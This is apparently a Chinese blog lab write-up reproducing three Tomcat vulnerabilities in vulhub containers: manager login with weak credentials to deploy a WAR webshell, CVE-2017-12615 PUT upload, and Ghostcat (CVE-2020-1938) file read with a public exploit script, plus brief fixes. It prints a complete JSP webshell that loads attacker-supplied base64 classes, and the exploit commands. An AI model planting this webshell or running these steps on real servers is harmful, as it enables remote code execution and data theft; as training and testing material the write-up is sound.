Tomcat漏洞三剑客

tomcat8(弱口令)

介绍

Tomcat 支持通过后端部署 war 文件,所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端,需要权限。

Tomcat7+ 的权限如下:

  • manager(后台管理)

    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)

    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

    漏洞复现

    cd /vulhub/tomcat/tomcat8
    sudo docker-compose up -d
    sudo docker ps -s 查看映射到哪个端口,得知是8080
    

右上角三个,随便点一个会进入登录页面,弱口令,tomcat:tomcat
在这里插入图片描述

第二个就发现可以进行上传文件的操作

找一个jsp格式木马,密码为passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

为啥要传war包?
war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。 当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包 可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。

然后把shell3.jsp压缩为shell3.zip,最后改后缀为shell3.war上传。

然后蚁🗡连接就行。
在这里插入图片描述

Tomcat任意文件写入(CVE-2017-12615)

docker启动漏洞环境后,通过镜像id,进入

sudo docker exec -it 99e bash
#查看配置文件conf/web.xml中readonly的设置
 cat conf/web.xml | grep readonly

、

补充:当 Tomcat 服务器的 readonly 属性被设置为 false,意味着对应的目录是可写的。这就意味着,Web 应用程序可以在该目录下创建和修改文件。而这种操作也意味着,如果攻击者成功利用漏洞,可以通过攻击代码的方式将恶意文件写入服务器。

​ Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。

对 / 绕过的解释这里有(没看懂):Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass (qq.com)

把上一题的jsp木马用PUT写入
在这里插入图片描述
然后蚁🗡连接
在这里插入图片描述

Apache-Tomcat-Ajp漏洞(CVE-2020-1938)

漏洞描述

Ghostcat是Chaitin Tech安全研究员发现的Tomcat中的一个严重漏洞,由于Tomcat AJP协议中的缺陷,攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如,攻击者可以读取 Web 应用配置文件或源代码。此外,如果目标Web应用具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。

影响范围

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

利用条件

​ 在apache的影响范围内,AJP Connector开启(默认开启,端口8009),且攻击者能够访问 AJP Connector 服务端口

漏洞原理

​ Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell

具体:【WEB安全】Tomcat-Ajp协议漏洞分析 (qq.com)

漏洞复现(任意文件读取)
cd /vulhub/tomcat/CVE-2020-1938
sudo docker-compose up -d
docker ps -s查看映射端口

漏洞测试的两个工具:

  • https://github.com/chaitin/xray
  • https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

这里用第二个

sudo git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
sudo chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py //赋予可执行的权限
sudo python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.139.10.152 -p 8009 -f WEB-INF/web.xml

​ 命令解释:

​ 这是一个用Python脚本执行Tomcat漏洞利用的命令。sudo是一个Linux操作系统中的超级用户权限命令,用于以管理员权限运行指定命令。CNVD-2020-10487-Tomcat-Ajp-lfi.py 是用于执行攻击的Python脚本文件名,10.139.10.152 是目标主机的IP地址,-p 8009 是指目标主机上Tomcat的AJP协议端口号,-f WEB-INF/web.xml 是指要获取的目标主机上WEB-INF/web.xml文件的相对路径。

漏洞修复

临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />

配置ajp配置中的secretRequired跟secret属性来限制认证

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值